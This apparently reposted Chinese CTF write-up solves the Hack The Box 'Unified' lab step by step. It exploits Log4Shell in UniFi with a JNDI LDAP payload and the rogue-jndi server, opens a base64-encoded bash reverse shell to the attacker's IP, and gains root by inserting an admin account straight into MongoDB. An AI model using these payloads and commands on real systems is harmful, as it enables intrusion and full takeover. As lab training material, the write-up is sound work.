hack the box靶场unified靶机

打开,看第一题
在这里插入图片描述
问:打开了哪些端口?
回答:22,6789,8080,8443
直接用下面命令开扫

nmap -sV -Pn 10.129.58.25 

在这里插入图片描述
第二问:
在这里插入图片描述
问:最大端口号的应用叫啥名?
回答:UniFI network。直接带端口访问即可,记得使用https://

在这里插入图片描述
第三个问题:
在这里插入图片描述
问:跑的软件啥版本?
回答:根据上面的图,能知道是6.4.54

第四个问题:
在这里插入图片描述
问:漏洞的编号是什么?
回答:cve-2021-44228。问的我是一头雾水,最后在百度上搜这个靶场的问题,然后顺着找到了这篇文章:https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi
打开能发现这篇文章其实就是这个靶机的答案。知道这个靶机是一个log4j漏洞然后提权,那么就是log4j的编号了。

第五个问题:
在这里插入图片描述
问:我们安装的maven版本是什么?
回答:3.6.3。具体原因看后面的操作。

第六个问题:
在这里插入图片描述
问:JDNI 在注入中利用什么协议?
回答:ldap

第七个问题:
在这里插入图片描述
问:使用什么工具能知道我们的攻击是成功的?
回答:tcpdump。回答这个问题需要正式开始测试这个网站。
首先根据前面获取到的ip地址(我这个地方IP变了是因为重重启了靶机),进行访问:

https://10.129.17.119:8443

会跳转到下面这个登录的界面
在这里插入图片描述
对登录框进行登录,然后抓包,然后发送到repeater中。其中的username以及password随意,但是remember部分修改为:

${jndi:ldap://10.10.14.187/o=tomcat}

记得将其中的IP修改为自己的。
在这里插入图片描述

接着看我们在remember中payload是否请求了我们的主机。首先本地监听一下获取到的vpn ip的那张网卡,看被请求了没

sudo tcpdump -i tun0

在这里插入图片描述
这个地方网卡要根据自己的实际情况来,直接ifconfig运行就能知道是哪张网卡。
接着将burpsuite中的数据包进行重放,能看到本地的网卡收到了信息
在这里插入图片描述

这说明这个靶机确实存在log4j漏洞。
这个地方的疑问是,为什么非要用tcpdump而不是nc呢?首先是我们不知道端口号,也是下一题的问题。接着就是知道了端口号,收到的信息乱码,大家可以试试。

第八个问题:
在这里插入图片描述
问:我们需要检查哪个端口的流量?
回答:389,因为这是ldap的端口。

至此,我们验证了靶机存在漏洞,下面要根据log4j漏洞来进行getshel并提权拿到key。

通过log4j漏洞拿到shell需要借助以下脚本:
https://github.com/veracode-research/rogue-jndi

我们通过以下命令安装脚本并构建好服务器

git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package

出现以下界面说明构建完成(注意这个地方maven可能需要自己安装,而且用git获取也比较慢,一旦你下载了maven,你能通过mvn -version得出maven的版本为3.6.3,就是第六个问题的答案
在这里插入图片描述

接着在命令行中将获取shell的脚本base64编码,注意替换为自己的ip地址

echo 'bash -c bash -i >&/dev/tcp/10.10.14.53/4444 0>&1' | base64

在这里插入图片描述
接着使用java将前面生成的base64填入下面的命令,同时记得更换为自己的地址

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuNTMvNDQ0NCAwPiYxCg==}|{base64,-d}|{bash,-i}" --hostname "10.10.14.53"

出现如下界面表示运行成功

在这里插入图片描述
本地监听一下4444端口

nc -lnvp 4444

在burpsuite中重新发送一次,注意发送的请求,其中remember中的ip应该是自己的ip,我这个地方又变了是因为我又重新启动了靶机。
在这里插入图片描述

此时nc中会拿到目标机器的shell,而且用户是unif,以上步骤的整体操作如下:
在这里插入图片描述
接着升级为交互式shell,以方便的进行下一步

script /dev/null -c bash

在这里插入图片描述
继续看问题,第九个
在这里插入图片描述
问:,mongodb跑在哪个端口上?
回答:27117,使用以下命令查看

ps aux | grep mongo

在这里插入图片描述
第十个问题:
在这里插入图片描述
问:unifi的默认数据库名是什么?
答案:ace,可以搜到,见:https://erikdekker.net/ubiquity/unifi/2020/05/09/reset-unifi-password.html。这个链接也是做后面题目的一个指导。
知道了用户名后,我们可以通过终端连接进数据库

mongo --port  27117 ace

在这里插入图片描述
成功进入数据库。
看第十一个问题:
在这里插入图片描述
问:枚举数据库的所有用户的函数是什么?
回答:db.admin.find()。执行结果如下:
在这里插入图片描述
第十二个问题:
在这里插入图片描述
问:mongodb中增加数据的函数是什么?
回答:db.admin.insert()

第十三个问题:
在这里插入图片描述
问:mongodb中更新数据的函数是什么?
回答:db.admin.update()

经过上面两个题目,我们大概能猜出来后面的思路是更新最高权限用户的密码,然后进到unifi的后台看看。
在添加用户之前,我们先要生成自己的密码,使用以下命令生成,记得最后是密码,自己更换为自己的。

mkpasswd -m sha-512 pilgrim

在这里插入图片描述
然后我们把密码以及用户名插入进去

db.admin.insert({ "email" : "[email protected]", "last_site_name" : "default", "name" : "unifi-admin", "time_created" : NumberLong(100019800), "x_shadow" : "$6$tVIuEdsp/Y4m8DBy$Dw6.glWpTSPKyxICzmNy.sSrJ9.EXzTsWbK8mKHd8z5njxPwZOi9pcGYgIjI0Ee./JFnES17WMLGexOiABG6m0" })

在这里插入图片描述
能看出执行成功,接着查找所以用户,然后获取到刚才添加的用户的objectid。

db.admin.find().forEach(printjson);

在这里插入图片描述
查看一下网站的用户的详细信息

db.site.find().forEach(printjson);

在这里插入图片描述
将我们插入的用户绑定到这个网站上去,其中的admin_id就是自己添加的用户的id,site_id就是上面获取的id

db.privilege.insert({ "admin_id" : "623f071e1ab0487109299461", "permissions" : [ ], "role" : "admin", "site_id" : "61ce269d46e0fb0012d47ec4" });

如下执行成功
在这里插入图片描述
接着去后台登录的页面登录刚才的账号,记得账户名是unifi-admin,密码是自己设置的密码。这个地方要好久好久,等吧,多换几个浏览器试试也行。在setting中能知道root的密码如下:

NotACrackablePassword4U2022

这是第十四个问题的答案
在这里插入图片描述

直接ssh过去,确实是root权限
在这里插入图片描述
那么直接找flag了。

cat /root/root.txt            #root账户的flag
cat /home/michael/user.txt    #用户的flag

在这里插入图片描述
在这里插入图片描述

结束了。
参考了以下内容:
https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi
https://www.youtube.com/watch?v=NLf1xzdlfCE
https://erikdekker.net/ubiquity/unifi/2020/05/09/reset-unifi-password.html

猜你喜欢

转载自blog.csdn.net/zr1213159840/article/details/123697698